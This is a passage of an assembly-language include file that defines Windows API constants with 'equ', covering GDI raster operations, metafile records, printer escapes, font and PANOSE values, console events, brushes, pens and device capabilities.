0004h+DFCS_MENUARROW equ 0000h+DFCS_MENUCHECK equ 0001h+DFCS_MENUBULLET equ 0002h+DFCS_MENUARROWRIGHT equ 0004h+DFCS_SCROLLUP equ 0000h+DFCS_SCROLLDOWN equ 0001h+DFCS_SCROLLLEFT equ 0002h+DFCS_SCROLLRIGHT equ 0003h+DFCS_SCROLLCOMBOBOX equ 0005h+DFCS_SCROLLSIZEGRIP equ 0008h+DFCS_SCROLLSIZEGRIPRIGHT equ 0010h+DFCS_BUTTONCHECK equ 0000h+DFCS_BUTTONRADIOIMAGE equ 0001h+DFCS_BUTTONRADIOMASK equ 0002h+DFCS_BUTTONRADIO equ 0004h+DFCS_BUTTON3STATE equ 0008h+DFCS_BUTTONPUSH equ 0010h+DFCS_INACTIVE equ 0100h+DFCS_PUSHED equ 0200h+DFCS_CHECKED equ 0400h+DFCS_ADJUSTRECT equ 2000h+DFCS_FLAT equ 4000h+DFCS_MONO equ 8000h+DDD_RAW_TARGET_PATH equ 1h+DDD_REMOVE_DEFINITION equ 2h+DDD_EXACT_MATCH_ON_REMOVE equ 4h+MAX_PATH equ 32+MOVEFILE_REPLACE_EXISTING equ 1h+MOVEFILE_COPY_ALLOWED equ 2h+MOVEFILE_DELAY_UNTIL_REBOOT equ 4h+TokenUser equ 1+TokenGroups equ 2+TokenPrivileges equ 3+TokenOwner equ 4+TokenPrimaryGroup equ 5+TokenDefaultDacl equ 6+TokenSource equ 7+TokenType equ 8+TokenImpersonationLevel equ 9+TokenStatistics equ 10+GET_TAPE_MEDIA_INFORMATION equ 0+GET_TAPE_DRIVE_INFORMATION equ 1+SET_TAPE_MEDIA_INFORMATION equ 0+SET_TAPE_DRIVE_INFORMATION equ 1+FORMAT_MESSAGE_ALLOCATE_BUFFER equ 100h+FORMAT_MESSAGE_IGNORE_INSERTS equ 200h+FORMAT_MESSAGE_FROM_STRING equ 400h+FORMAT_MESSAGE_FROM_HMODULE equ 800h+FORMAT_MESSAGE_FROM_SYSTEM equ 1000h+FORMAT_MESSAGE_ARGUMENT_ARRAY equ 2000h+FORMAT_MESSAGE_MAX_WIDTH_MASK equ 0FFh+TLS_OUT_OF_INDEXES equ 0FFFFh+BACKUP_DATA equ 1h+BACKUP_EA_DATA equ 2h+BACKUP_SECURITY_DATA equ 3h+BACKUP_ALTERNATE_DATA equ 4h+BACKUP_LINK equ 5h+STREAM_MODIFIED_WHEN_READ equ 1h+STREAM_CONTAINS_SECURITY equ 2h+STARTF_USESHOWWINDOW equ 1h+STARTF_USESIZE equ 2h+STARTF_USEPOSITION equ 4h+STARTF_USECOUNTCHARS equ 8h+STARTF_USEFILLATTRIBUTE equ 10h+STARTF_RUNFULLSCREEN equ 20h+STARTF_FORCEONFEEDBACK equ 40h+STARTF_FORCEOFFFEEDBACK equ 80h+STARTF_USESTDHANDLES equ 100h+SHUTDOWN_NORETRY equ 1h+MAX_DEFAULTCHAR equ 2+CAL_ICALINTVALUE equ 1h+CAL_SCALNAME equ 2h+CAL_IYEAROFFSETRANGE equ 3h+CAL_SERASTRING equ 4h+CAL_SSHORTDATE equ 5h+CAL_SLONGDATE equ 6h+CAL_SDAYNAME1 equ 7h+CAL_SDAYNAME2 equ 8h+CAL_SDAYNAME3 equ 9h+CAL_SDAYNAME4 equ 0Ah+CAL_SDAYNAME5 equ 0Bh+CAL_SDAYNAME6 equ 0Ch+CAL_SDAYNAME7 equ 0Dh+CAL_SABBREVDAYNAME1 equ 0Eh+CAL_SABBREVDAYNAME2 equ 0Fh+CAL_SABBREVDAYNAME3 equ 10h+CAL_SABBREVDAYNAME4 equ 11h+CAL_SABBREVDAYNAME5 equ 12h+CAL_SABBREVDAYNAME6 equ 13h+CAL_SABBREVDAYNAME7 equ 14h+CAL_SMONTHNAME1 equ 15h+CAL_SMONTHNAME2 equ 16h+CAL_SMONTHNAME3 equ 17h+CAL_SMONTHNAME4 equ 18h+CAL_SMONTHNAME5 equ 19h+CAL_SMONTHNAME6 equ 1Ah+CAL_SMONTHNAME7 equ 1Bh+CAL_SMONTHNAME8 equ 1Ch+CAL_SMONTHNAME9 equ 1Dh+CAL_SMONTHNAME10 equ 1Eh+CAL_SMONTHNAME11 equ 1Fh+CAL_SMONTHNAME12 equ 20h+CAL_SMONTHNAME13 equ 21h+CAL_SABBREVMONTHNAME1 equ 22h+CAL_SABBREVMONTHNAME2 equ 23h+CAL_SABBREVMONTHNAME3 equ 24h+CAL_SABBREVMONTHNAME4 equ 25h+CAL_SABBREVMONTHNAME5 equ 26h+CAL_SABBREVMONTHNAME6 equ 27h+CAL_SABBREVMONTHNAME7 equ 28h+CAL_SABBREVMONTHNAME8 equ 29h+CAL_SABBREVMONTHNAME9 equ 2Ah+CAL_SABBREVMONTHNAME10 equ 2Bh+CAL_SABBREVMONTHNAME11 equ 2Ch+CAL_SABBREVMONTHNAME12 equ 2Dh+CAL_SABBREVMONTHNAME13 equ 2Eh+ENUM_ALL_CALENDARS equ 0FFFFh+CAL_GREGORIAN equ 1+CAL_GREGORIAN_US equ 2+CAL_JAPAN equ 3+CAL_TAIWAN equ 4+CAL_KOREA equ 5+RIGHT_ALT_PRESSED equ 1h+LEFT_ALT_PRESSED equ 2h+RIGHT_CTRL_PRESSED equ 4h+LEFT_CTRL_PRESSED equ 8h+SHIFT_PRESSED equ 10h+NUMLOCK_ON equ 20h+SCROLLLOCK_ON equ 40h+CAPSLOCK_ON equ 80h+ENHANCED_KEY equ 100h+FROM_LEFT_1ST_BUTTON_PRESSED equ 1h+RIGHTMOST_BUTTON_PRESSED equ 2h+FROM_LEFT_2ND_BUTTON_PRESSED equ 4h+FROM_LEFT_3RD_BUTTON_PRESSED equ 8h+FROM_LEFT_4TH_BUTTON_PRESSED equ 10h+MOUSE_MOVED equ 1h+DOUBLE_CLICK equ 2h+KEY_EVENT equ 1h+mouse_eventC equ 2h+WINDOW_BUFFER_SIZE_EVENT equ 4h+MENU_EVENT equ 8h+FOCUS_EVENT equ 10h+FOREGROUND_BLUE equ 1h+FOREGROUND_GREEN equ 2h+FOREGROUND_RED equ 4h+FOREGROUND_INTENSITY equ 8h+BACKGROUND_BLUE equ 10h+BACKGROUND_GREEN equ 20h+BACKGROUND_RED equ 40h+BACKGROUND_INTENSITY equ 80h+CTRL_C_EVENT equ 0+CTRL_BREAK_EVENT equ 1+CTRL_CLOSE_EVENT equ 2+CTRL_LOGOFF_EVENT equ 5+CTRL_SHUTDOWN_EVENT equ 6+ENABLE_PROCESSED_INPUT equ 1h+ENABLE_LINE_INPUT equ 2h+ENABLE_ECHO_INPUT equ 4h+ENABLE_WINDOW_INPUT equ 8h+ENABLE_MOUSE_INPUT equ 10h+ENABLE_PROCESSED_OUTPUT equ 1h+ENABLE_WRAP_AT_EOL_OUTPUT equ 2h+CONSOLE_TEXTMODE_BUFFER equ 1+R2_BLACK equ 1+R2_NOTMERGEPEN equ 2+R2_MASKNOTPEN equ 3+R2_NOTCOPYPEN equ 4+R2_MASKPENNOT equ 5+R2_NOT equ 6+R2_XORPEN equ 7+R2_NOTMASKPEN equ 8+R2_MASKPEN equ 9+R2_NOTXORPEN equ 10+R2_NOP equ 11+R2_MERGENOTPEN equ 12+R2_COPYPEN equ 13+R2_MERGEPENNOT equ 14+R2_MERGEPEN equ 15+R2_WHITE equ 16+R2_LAST equ 16+SRCCOPY equ 0CC0020h+SRCPAINT equ 0EE0086h+SRCAND equ 8800C6h+SRCINVERT equ 660046h+SRCERASE equ 440328h+NOTSRCCOPY equ 330008h+NOTSRCERASE equ 1100A6h+MERGECOPY equ 0C000CAh+MERGEPAINT equ 0BB0226h+PATCOPY equ 0F00021h+PATPAINT equ 0FB0A09h+PATINVERT equ 5A0049h+DSTINVERT equ 550009h+BLACKNESS equ 42h+WHITENESS equ 0FF0062h+GDI_ERROR equ 0FFFFh+HGDI_ERROR equ 0FFFFh+ERRORAPI equ 0+NULLREGION equ 1+SIMPLEREGION equ 2+COMPLEXREGION equ 3+RGN_AND equ 1+RGN_OR equ 2+RGN_XOR equ 3+RGN_DIFF equ 4+RGN_COPY equ 5+RGN_MIN equ RGN_AND+RGN_MAX equ RGN_COPY+BLACKONWHITE equ 1+WHITEONBLACK equ 2+COLORONCOLOR equ 3+HALFTONE equ 4+MAXSTRETCHBLTMODE equ 4+ALTERNATE equ 1+WINDING equ 2+POLYFILL_LAST equ 2+TA_NOUPDATECP equ 0+TA_UPDATECP equ 1+TA_LEFT equ 0+TA_RIGHT equ 2+TA_CENTER equ 6+TA_TOP equ 0+TA_BOTTOM equ 8+TA_BASELINE equ 24+TA_MASK equ TA_BASELINE+TA_CENTER+TA_UPDATECP+VTA_BASELINE equ TA_BASELINE+VTA_LEFT equ TA_BOTTOM+VTA_RIGHT equ TA_TOP+VTA_CENTER equ TA_CENTER+VTA_BOTTOM equ TA_RIGHT+VTA_TOP equ TA_LEFT+ETO_GRAYED equ 1+ETO_OPAQUE equ 2+ETO_CLIPPED equ 4+ASPECT_FILTERING equ 1h+DCB_RESET equ 1h+DCB_ACCUMULATE equ 2h+DCB_DIRTY equ DCB_ACCUMULATE+DCB_SET equ DCB_RESET|DCB_ACCUMULATE+DCB_ENABLE equ 4h+DCB_DISABLE equ 8h+META_SETBKCOLOR equ 201h+META_SETBKMODE equ 102h+META_SETMAPMODE equ 103h+META_SETROP2 equ 104h+META_SETRELABS equ 105h+META_SETPOLYFILLMODE equ 106h+META_SETSTRETCHBLTMODE equ 107h+META_SETTEXTCHAREXTRA equ 108h+META_SETTEXTCOLOR equ 209h+META_SETTEXTJUSTIFICATION equ 20Ah+META_SETWINDOWORG equ 20Bh+META_SETWINDOWEXT equ 20Ch+META_SETVIEWPORTORG equ 20Dh+META_SETVIEWPORTEXT equ 20Eh+META_OFFSETWINDOWORG equ 20Fh+META_SCALEWINDOWEXT equ 410h+META_OFFSETVIEWPORTORG equ 211h+META_SCALEVIEWPORTEXT equ 412h+META_LINETO equ 213h+META_MOVETO equ 214h+META_EXCLUDECLIPRECT equ 415h+META_INTERSECTCLIPRECT equ 416h+META_ARC equ 817h+META_ELLIPSE equ 418h+META_FLOODFILL equ 419h+META_PIE equ 81Ah+META_RECTANGLE equ 41Bh+META_ROUNDRECT equ 61Ch+META_PATBLT equ 61Dh+META_SAVEDC equ 1Eh+META_SETPIXEL equ 41Fh+META_OFFSETCLIPRGN equ 220h+META_TEXTOUT equ 521h+META_BITBLT equ 922h+META_STRETCHBLT equ 0B23h+META_POLYGON equ 324h+META_POLYLINE equ 325h+META_ESCAPE equ 626h+META_RESTOREDC equ 127h+META_FILLREGION equ 228h+META_FRAMEREGION equ 429h+META_INVERTREGION equ 12Ah+META_PAINTREGION equ 12Bh+META_SELECTCLIPREGION equ 12Ch+META_SELECTOBJECT equ 12Dh+META_SETTEXTALIGN equ 12Eh+META_CHORD equ 830h+META_SETMAPPERFLAGS equ 231h+META_EXTTEXTOUT equ 0A32h+META_SETDIBTODEV equ 0D33h+META_SELECTPALETTE equ 234h+META_REALIZEPALETTE equ 35h+META_ANIMATEPALETTE equ 436h+META_SETPALENTRIES equ 37h+META_POLYPOLYGON equ 538h+META_RESIZEPALETTE equ 139h+META_DIBBITBLT equ 940h+META_DIBSTRETCHBLT equ 0B41h+META_DIBCREATEPATTERNBRUSH equ 142h+META_STRETCHDIB equ 0F43h+META_EXTFLOODFILL equ 548h+META_DELETEOBJECT equ 1F0h+META_CREATEPALETTE equ 0F7h+META_CREATEPATTERNBRUSH equ 1F9h+META_CREATEPENINDIRECT equ 2FAh+META_CREATEFONTINDIRECT equ 2FBh+META_CREATEBRUSHINDIRECT equ 2FCh+META_CREATEREGION equ 6FFh+NEWFRAME equ 1+AbortDocC equ 2+NEXTBAND equ 3+SETCOLORTABLE equ 4+GETCOLORTABLE equ 5+FLUSHOUTPUT equ 6+DRAFTMODE equ 7+QUERYESCSUPPORT equ 8+SETABORTPROC equ 9+StartDocC equ 10+EndDocC equ 11+GETPHYSPAGESIZE equ 12+GETPRINTINGOFFSET equ 13+GETSCALINGFACTOR equ 14+MFCOMMENT equ 15+GETPENWIDTH equ 16+SETCOPYCOUNT equ 17+SELECTPAPERSOURCE equ 18+DEVICEDATA equ 19+PASSTHROUGH equ 19+GETTECHNOLGY equ 20+GETTECHNOLOGY equ 20+SETLINECAP equ 21+SETLINEJOIN equ 22+SetMiterLimitC equ 23+BANDINFO equ 24+DRAWPATTERNRECT equ 25+GETVECTORPENSIZE equ 26+GETVECTORBRUSHSIZE equ 27+ENABLEDUPLEX equ 28+GETSETPAPERBINS equ 29+GETSETPRINTORIENT equ 30+ENUMPAPERBINS equ 31+SETDIBSCALING equ 32+EPSPRINTING equ 33+ENUMPAPERMETRICS equ 34+GETSETPAPERMETRICS equ 35+POSTSCRIPT_DATA equ 37+POSTSCRIPT_IGNORE equ 38+MOUSETRAILS equ 39+GETDEVICEUNITS equ 42+GETEXTENDEDTEXTMETRICS equ 256+GETEXTENTTABLE equ 257+GETPAIRKERNTABLE equ 258+GETTRACKKERNTABLE equ 259+ExtTextOutC equ 512+GETFACENAME equ 513+DOWNLOADFACE equ 514+ENABLERELATIVEWIDTHS equ 768+ENABLEPAIRKERNING equ 769+SETKERNTRACK equ 770+SETALLJUSTVALUES equ 771+SETCHARSET equ 772+StretchBltC equ 2048+GETSETSCREENPARAMS equ 3072+BEGIN_PATH equ 4096+CLIP_TO_PATH equ 4097+END_PATH equ 4098+EXT_DEVICE_CAPS equ 4099+RESTORE_CTM equ 4100+SAVE_CTM equ 4101+SET_ARC_DIRECTION equ 4102+SET_BACKGROUND_COLOR equ 4103+SET_POLY_MODE equ 4104+SET_SCREEN_ANGLE equ 4105+SET_SPREAD equ 4106+TRANSFORM_CTM equ 4107+SET_CLIP_BOX equ 4108+SET_BOUNDS equ 4109+SET_MIRROR_MODE equ 4110+OPENCHANNEL equ 4110+DOWNLOADHEADER equ 4111+CLOSECHANNEL equ 4112+POSTSCRIPT_PASSTHROUGH equ 4115+ENCAPSULATED_POSTSCRIPT equ 4116+SP_NOTREPORTED equ 4000h+SP_ERROR equ -1+SP_APPABORT equ -2+SP_USERABORT equ -3+SP_OUTOFDISK equ -4+SP_OUTOFMEMORY equ -5+PR_JOBSTATUS equ 0h+OBJ_PEN equ 1+OBJ_BRUSH equ 2+OBJ_DC equ 3+OBJ_METADC equ 4+OBJ_PAL equ 5+OBJ_FONT equ 6+OBJ_BITMAP equ 7+OBJ_REGION equ 8+OBJ_METAFILE equ 9+OBJ_MEMDC equ 10+OBJ_EXTPEN equ 11+OBJ_ENHMETADC equ 12+OBJ_ENHMETAFILE equ 13+MWT_IDENTITY equ 1+MWT_LEFTMULTIPLY equ 2+MWT_RIGHTMULTIPLY equ 3+MWT_MIN equ MWT_IDENTITY+MWT_MAX equ MWT_RIGHTMULTIPLY+BI_RGB equ 0+BI_RLE8 equ 1+BI_RLE4 equ 2+BI_bitfields equ 3+NTM_REGULAR equ 40h+NTM_BOLD equ 20h+NTM_ITALIC equ 1h+TMPF_FIXED_PITCH equ 1h+TMPF_VECTOR equ 2h+TMPF_DEVICE equ 8h+TMPF_TRUETYPE equ 4h+LF_FACESIZE equ 32+LF_FULLFACESIZE equ 64+OUT_DEFAULT_PRECIS equ 0+OUT_STRING_PRECIS equ 1+OUT_CHARACTER_PRECIS equ 2+OUT_STROKE_PRECIS equ 3+OUT_TT_PRECIS equ 4+OUT_DEVICE_PRECIS equ 5+OUT_RASTER_PRECIS equ 6+OUT_TT_ONLY_PRECIS equ 7+OUT_OUTLINE_PRECIS equ 8+CLIP_DEFAULT_PRECIS equ 0+CLIP_CHARACTER_PRECIS equ 1+CLIP_STROKE_PRECIS equ 2+CLIP_MASK equ 0Fh+CLIP_LH_ANGLES equ 16+CLIP_TT_ALWAYS equ 32+CLIP_EMBEDDED equ 128+DEFAULT_QUALITY equ 0+DRAFT_QUALITY equ 1+PROOF_QUALITY equ 2+DEFAULT_PITCH equ 0+FIXED_PITCH equ 1+VARIABLE_PITCH equ 2+ANSI_CHARSET equ 0+DEFAULT_CHARSET equ 1+SYMBOL_CHARSET equ 2+SHIFTJIS_CHARSET equ 128+HANGEUL_CHARSET equ 129+CHINESEBIG5_CHARSET equ 136+OEM_CHARSET equ 255+FF_DONTCARE equ 0+FF_ROMAN equ 16+FF_SWISS equ 32+FF_MODERN equ 48+FF_SCRIPT equ 64+FF_DECORATIVE equ 80+FW_DONTCARE equ 0+FW_THIN equ 100+FW_EXTRALIGHT equ 200+FW_LIGHT equ 300+FW_NORMAL equ 400+FW_MEDIUM equ 500+FW_SEMIBOLD equ 600+FW_BOLD equ 700+FW_EXTRABOLD equ 800+FW_HEAVY equ 900+FW_ULTRALIGHT equ FW_EXTRALIGHT+FW_REGULAR equ FW_NORMAL+FW_DEMIBOLD equ FW_SEMIBOLD+FW_ULTRABOLD equ FW_EXTRABOLD+FW_BLACK equ FW_HEAVY+PANOSE_COUNT equ 10+PAN_FAMILYTYPE_INDEX equ 0+PAN_SERIFSTYLE_INDEX equ 1+PAN_WEIGHT_INDEX equ 2+PAN_PROPORTION_INDEX equ 3+PAN_CONTRAST_INDEX equ 4+PAN_STROKEVARIATION_INDEX equ 5+PAN_ARMSTYLE_INDEX equ 6+PAN_LETTERFORM_INDEX equ 7+PAN_MIDLINE_INDEX equ 8+PAN_XHEIGHT_INDEX equ 9+PAN_CULTURE_LATIN equ 0+PAN_ANY equ 0+PAN_NO_FIT equ 1+PAN_FAMILY_TEXT_DISPLAY equ 2+PAN_FAMILY_SCRIPT equ 3+PAN_FAMILY_DECORATIVE equ 4+PAN_FAMILY_PICTORIAL equ 5+PAN_SERIF_COVE equ 2+PAN_SERIF_OBTUSE_COVE equ 3+PAN_SERIF_SQUARE_COVE equ 4+PAN_SERIF_OBTUSE_SQUARE_COVE equ 5+PAN_SERIF_SQUARE equ 6+PAN_SERIF_THIN equ 7+PAN_SERIF_BONE equ 8+PAN_SERIF_EXAGGERATED equ 9+PAN_SERIF_TRIANGLE equ 10+PAN_SERIF_NORMAL_SANS equ 11+PAN_SERIF_OBTUSE_SANS equ 12+PAN_SERIF_PERP_SANS equ 13+PAN_SERIF_FLARED equ 14+PAN_SERIF_ROUNDED equ 15+PAN_WEIGHT_VERY_LIGHT equ 2+PAN_WEIGHT_LIGHT equ 3+PAN_WEIGHT_THIN equ 4+PAN_WEIGHT_BOOK equ 5+PAN_WEIGHT_MEDIUM equ 6+PAN_WEIGHT_DEMI equ 7+PAN_WEIGHT_BOLD equ 8+PAN_WEIGHT_HEAVY equ 9+PAN_WEIGHT_BLACK equ 10+PAN_WEIGHT_NORD equ 11+PAN_PROP_OLD_STYLE equ 2+PAN_PROP_MODERN equ 3+PAN_PROP_EVEN_WIDTH equ 4+PAN_PROP_EXPANDED equ 5+PAN_PROP_CONDENSED equ 6+PAN_PROP_VERY_EXPANDED equ 7+PAN_PROP_VERY_CONDENSED equ 8+PAN_PROP_MONOSPACED equ 9+PAN_CONTRAST_NONE equ 2+PAN_CONTRAST_VERY_LOW equ 3+PAN_CONTRAST_LOW equ 4+PAN_CONTRAST_MEDIUM_LOW equ 5+PAN_CONTRAST_MEDIUM equ 6+PAN_CONTRAST_MEDIUM_HIGH equ 7+PAN_CONTRAST_HIGH equ 8+PAN_CONTRAST_VERY_HIGH equ 9+PAN_STROKE_GRADUAL_DIAG equ 2+PAN_STROKE_GRADUAL_TRAN equ 3+PAN_STROKE_GRADUAL_VERT equ 4+PAN_STROKE_GRADUAL_HORZ equ 5+PAN_STROKE_RAPID_VERT equ 6+PAN_STROKE_RAPID_HORZ equ 7+PAN_STROKE_INSTANT_VERT equ 8+PAN_STRAIGHT_ARMS_HORZ equ 2+PAN_STRAIGHT_ARMS_WEDGE equ 3+PAN_STRAIGHT_ARMS_VERT equ 4+PAN_STRAIGHT_ARMS_SINGLE_SERIF equ 5+PAN_STRAIGHT_ARMS_DOUBLE_SERIF equ 6+PAN_BENT_ARMS_HORZ equ 7+PAN_BENT_ARMS_WEDGE equ 8+PAN_BENT_ARMS_VERT equ 9+PAN_BENT_ARMS_SINGLE_SERIF equ 10+PAN_BENT_ARMS_DOUBLE_SERIF equ 11+PAN_LETT_NORMAL_CONTACT equ 2+PAN_LETT_NORMAL_WEIGHTED equ 3+PAN_LETT_NORMAL_BOXED equ 4+PAN_LETT_NORMAL_FLATTENED equ 5+PAN_LETT_NORMAL_ROUNDED equ 6+PAN_LETT_NORMAL_OFF_CENTER equ 7+PAN_LETT_NORMAL_SQUARE equ 8+PAN_LETT_OBLIQUE_CONTACT equ 9+PAN_LETT_OBLIQUE_WEIGHTED equ 10+PAN_LETT_OBLIQUE_BOXED equ 11+PAN_LETT_OBLIQUE_FLATTENED equ 12+PAN_LETT_OBLIQUE_ROUNDED equ 13+PAN_LETT_OBLIQUE_OFF_CENTER equ 14+PAN_LETT_OBLIQUE_SQUARE equ 15+PAN_MIDLINE_STANDARD_TRIMMED equ 2+PAN_MIDLINE_STANDARD_POINTED equ 3+PAN_MIDLINE_STANDARD_SERIFED equ 4+PAN_MIDLINE_HIGH_TRIMMED equ 5+PAN_MIDLINE_HIGH_POINTED equ 6+PAN_MIDLINE_HIGH_SERIFED equ 7+PAN_MIDLINE_CONSTANT_TRIMMED equ 8+PAN_MIDLINE_CONSTANT_POINTED equ 9+PAN_MIDLINE_CONSTANT_SERIFED equ 10+PAN_MIDLINE_LOW_TRIMMED equ 11+PAN_MIDLINE_LOW_POINTED equ 12+PAN_MIDLINE_LOW_SERIFED equ 13+PAN_XHEIGHT_CONSTANT_SMALL equ 2+PAN_XHEIGHT_CONSTANT_STD equ 3+PAN_XHEIGHT_CONSTANT_LARGE equ 4+PAN_XHEIGHT_DUCKING_SMALL equ 5+PAN_XHEIGHT_DUCKING_STD equ 6+PAN_XHEIGHT_DUCKING_LARGE equ 7+ELF_VENDOR_SIZE equ 4+ELF_VERSION equ 0+ELF_CULTURE_LATIN equ 0+RASTER_FONTTYPE equ 1h+DEVICE_FONTTYPE equ 2h+TRUETYPE_FONTTYPE equ 4h+PC_RESERVED equ 1h+PC_EXPLICIT equ 2h+PC_NOCOLLAPSE equ 4h+TRANSPARENT equ 1+OPAQUE equ 2+BKMODE_LAST equ 2+GM_COMPATIBLE equ 1+GM_ADVANCED equ 2+GM_LAST equ 2+PT_CLOSEFIGURE equ 1h+PT_LINETO equ 2h+PT_BEZIERTO equ 4h+PT_MOVETO equ 6h+MM_TEXT equ 1+MM_LOMETRIC equ 2+MM_HIMETRIC equ 3+MM_LOENGLISH equ 4+MM_HIENGLISH equ 5+MM_TWIPS equ 6+MM_ISOTROPIC equ 7+MM_ANISOTROPIC equ 8+MM_MIN equ MM_TEXT+MM_MAX equ MM_ANISOTROPIC+MM_MAX_FIXEDSCALE equ MM_TWIPS+_ABSOLUTE equ 1+RELATIVE equ 2+WHITE_BRUSH equ 0+LTGRAY_BRUSH equ 1+GRAY_BRUSH equ 2+DKGRAY_BRUSH equ 3+BLACK_BRUSH equ 4+NULL_BRUSH equ 5+HOLLOW_BRUSH equ NULL_BRUSH+WHITE_PEN equ 6+BLACK_PEN equ 7+NULL_PEN equ 8+OEM_FIXED_FONT equ 10+ANSI_FIXED_FONT equ 11+ANSI_VAR_FONT equ 12+SYSTEM_FONT equ 13+DEVICE_DEFAULT_FONT equ 14+DEFAULT_PALETTE equ 15+SYSTEM_FIXED_FONT equ 16+STOCK_LAST equ 16+CLR_INVALID equ 0FFFFh+BS_SOLID equ 0+BS_NULL equ 1+BS_HOLLOW equ BS_NULL+BS_HATCHED equ 2+BS_PATTERN equ 3+BS_INDEXED equ 4+BS_DIBPATTERN equ 5+BS_DIBPATTERNPT equ 6+BS_PATTERN8X8 equ 7+BS_DIBPATTERN8X8 equ 8+HS_HORIZONTAL equ 0+HS_VERTICAL equ 1+HS_FDIAGONAL equ 2+HS_BDIAGONAL equ 3+HS_CROSS equ 4+HS_DIAGCROSS equ 5+HS_FDIAGONAL1 equ 6+HS_BDIAGONAL1 equ 7+HS_SOLID equ 8+HS_DENSE1 equ 9+HS_DENSE2 equ 10+HS_DENSE3 equ 11+HS_DENSE4 equ 12+HS_DENSE5 equ 13+HS_DENSE6 equ 14+HS_DENSE7 equ 15+HS_DENSE8 equ 16+HS_NOSHADE equ 17+HS_HALFTONE equ 18+HS_SOLIDCLR equ 19+HS_DITHEREDCLR equ 20+HS_SOLIDTEXTCLR equ 21+HS_DITHEREDTEXTCLR equ 22+HS_SOLIDBKCLR equ 23+HS_DITHEREDBKCLR equ 24+HS_API_MAX equ 25+PS_SOLID equ 0+PS_DASH equ 1+PS_DOT equ 2+PS_DASHDOT equ 3+PS_DASHDOTDOT equ 4+PS_NULL equ 5+PS_INSIDEFRAME equ 6+PS_USERSTYLE equ 7+PS_ALTERNATE equ 8+PS_STYLE_MASK equ 0Fh+PS_ENDCAP_ROUND equ 0h+PS_ENDCAP_SQUARE equ 100h+PS_ENDCAP_FLAT equ 200h+PS_ENDCAP_MASK equ 0F00h+PS_JOIN_ROUND equ 0h+PS_JOIN_BEVEL equ 1000h+PS_JOIN_MITER equ 2000h+PS_JOIN_MASK equ 0F000h+PS_COSMETIC equ 0h+PS_GEOMETRIC equ 10000h+PS_TYPE_MASK equ 0F0000h+AD_COUNTERCLOCKWISE equ 1+AD_CLOCKWISE equ 2+PRF_CHECKVISIBLE equ 00000001h+PRF_NONCLIENT equ 00000002h+PRF_CLIENT equ 00000004h+PRF_ERASEBKGND equ 00000008h+PRF_CHILDREN equ 00000010h+PRF_OWNED equ 00000020h+BDR_RAISEDOUTER equ 0001h+BDR_SUNKENOUTER equ 0002h+BDR_RAISEDINNER equ 0004h+BDR_SUNKENINNER equ 0008h+BDR_OUTER equ 0003h+BDR_INNER equ 000Ch+BDR_RAISED equ 0005h+BDR_SUNKEN equ 000Ah+EDGE_RAISED equ BDR_RAISEDOUTER|BDR_RAISEDINNER+EDGE_SUNKEN equ BDR_SUNKENOUTER|BDR_SUNKENINNER+EDGE_ETCHED equ BDR_SUNKENOUTER|BDR_RAISEDINNER+EDGE_BUMP equ BDR_RAISEDOUTER|BDR_SUNKENINNER+BF_LEFT equ 0001h+BF_TOP equ 0002h+BF_RIGHT equ 0004h+BF_BOTTOM equ 0008h+BF_TOPLEFT equ BF_TOP|BF_LEFT+BF_TOPRIGHT equ BF_TOP|BF_RIGHT+BF_BOTTOMLEFT equ BF_BOTTOM|BF_LEFT+BF_BOTTOMRIGHT equ BF_BOTTOM|BF_RIGHT+BF_RECT equ BF_LEFT|BF_TOP|BF_RIGHT|BF_BOTTOM+BF_DIAGONAL equ 0010h+BF_DIAGONAL_ENDTOPRIGHT equ BF_DIAGONAL|BF_TOP|BF_RIGHT+BF_DIAGONAL_ENDTOPLEFT equ BF_DIAGONAL|BF_TOP|BF_LEFT+BF_DIAGONAL_ENDBOTTOMLEFT equ BF_DIAGONAL|BF_BOTTOM|BF_LEFT+BF_DIAGONAL_ENDBOTTOMRIGHT equ BF_DIAGONAL|BF_BOTTOM|BF_RIGHT+BF_MIDDLE equ 0800h+BF_SOFT equ 1000h+BF_ADJUST equ 2000h+BF_FLAT equ 4000h+BF_MONO equ 8000h+DRIVERVERSION equ 0+TECHNOLOGY equ 2+HORZSIZE equ 4+VERTSIZE equ 6+HORZRES equ 8+VERTRES equ 10+BITSPIXEL equ 12+PLANES equ 14+NUMBRUSHES equ 16+NUMPENS equ 18+NUMMARKERS equ 20+NUMFONTS equ 22+NUMCOLORS equ 24+PDEVICESIZE equ 26+CURVECAPS equ 28+LINECAPS equ 30+POLYGONALCAPS equ 32+TEXTCAPS equ 34+CLIPCAPS equ 36+RASTERCAPS equ 38+ASPECTX equ 40+ASPECTY equ 42+ASPECTXY equ 44+LOGPIXELSX equ 88+LOGPIXELSY equ 90+SIZEPALETTE equ 104+NUMRESERVED equ 106+COLORRES equ 108+PHYSICALWIDTH equ 110+PHYSICALHEIGHT equ 111+PHYSICALOFFSETX equ 112+PHYSICALOFFSETY equ 113+SCALINGFACTORX equ 114+SCALINGFACTORY equ 115+DT_PLOTTER equ 0+DT_RASDISPLAY equ 1+DT_RASPRINTER equ 2+DT_RASCAMERA equ 3+DT_CHARSTREAM equ 4+DT_METAFILE equ 5+DT_DISPFILE equ 6+CC_NONE equ 0+CC_CIRCLES equ 1+CC_PIE equ 2+CC_CHORD equ 4+CC_ELLIPSES equ 8+CC_WIDE equ 16+CC_STYLED equ 32+CC_WIDESTYLED equ 64+CC_INTERIORS equ 128+CC_ROUNDRECT equ 256+LC_NONE equ 0+LC_POLYLINE equ 2+LC_MARKER equ 4+LC_POLYMARKER equ 8+LC_WIDE equ 16+LC_STYLED equ 32+LC_WIDESTYLED equ 64+LC_INTERIORS equ 128+PC_NONE equ 0+PC_POLYGON equ 1+PC_RECTANGLE equ 2+PC_WINDPOLYGON equ 4+PC_TRAPEZOID equ 4+PC_SCANLINE equ 8+PC_WIDE equ 16+PC_STYLED equ 32+PC_WIDESTYLED equ 64+PC_INTERIORS equ 128+CP_NONE equ 0+CP_RECTANGLE equ 1+CP_REGION equ 2+TC_OP_CHARACTER equ 1h+TC_OP_STROKE equ 2h+TC_CP_STROKE equ 4h+TC_CR_90 equ 8h+TC_CR_ANY equ 10h+TC_SF_X_YINDEP equ 20h+TC_SA_DOUBLE equ 40h+TC_SA_INTEGER equ 80h+TC_SA_CONTIN equ 100h+TC_EA_DOUBLE equ 200h+TC_IA_ABLE equ 400h+TC_UA_ABLE equ 800h+TC_SO_ABLE equ 1000h+TC_RA_ABLE equ 2000h+TC_VA_ABLE equ 4000h+TC_RESERVED equ 8000h+TC_SCROLLBLT equ 10000h+RC_NONE equ 0+RC_BITBLT equ 1+RC_BANDING equ 2+RC_SCALING equ 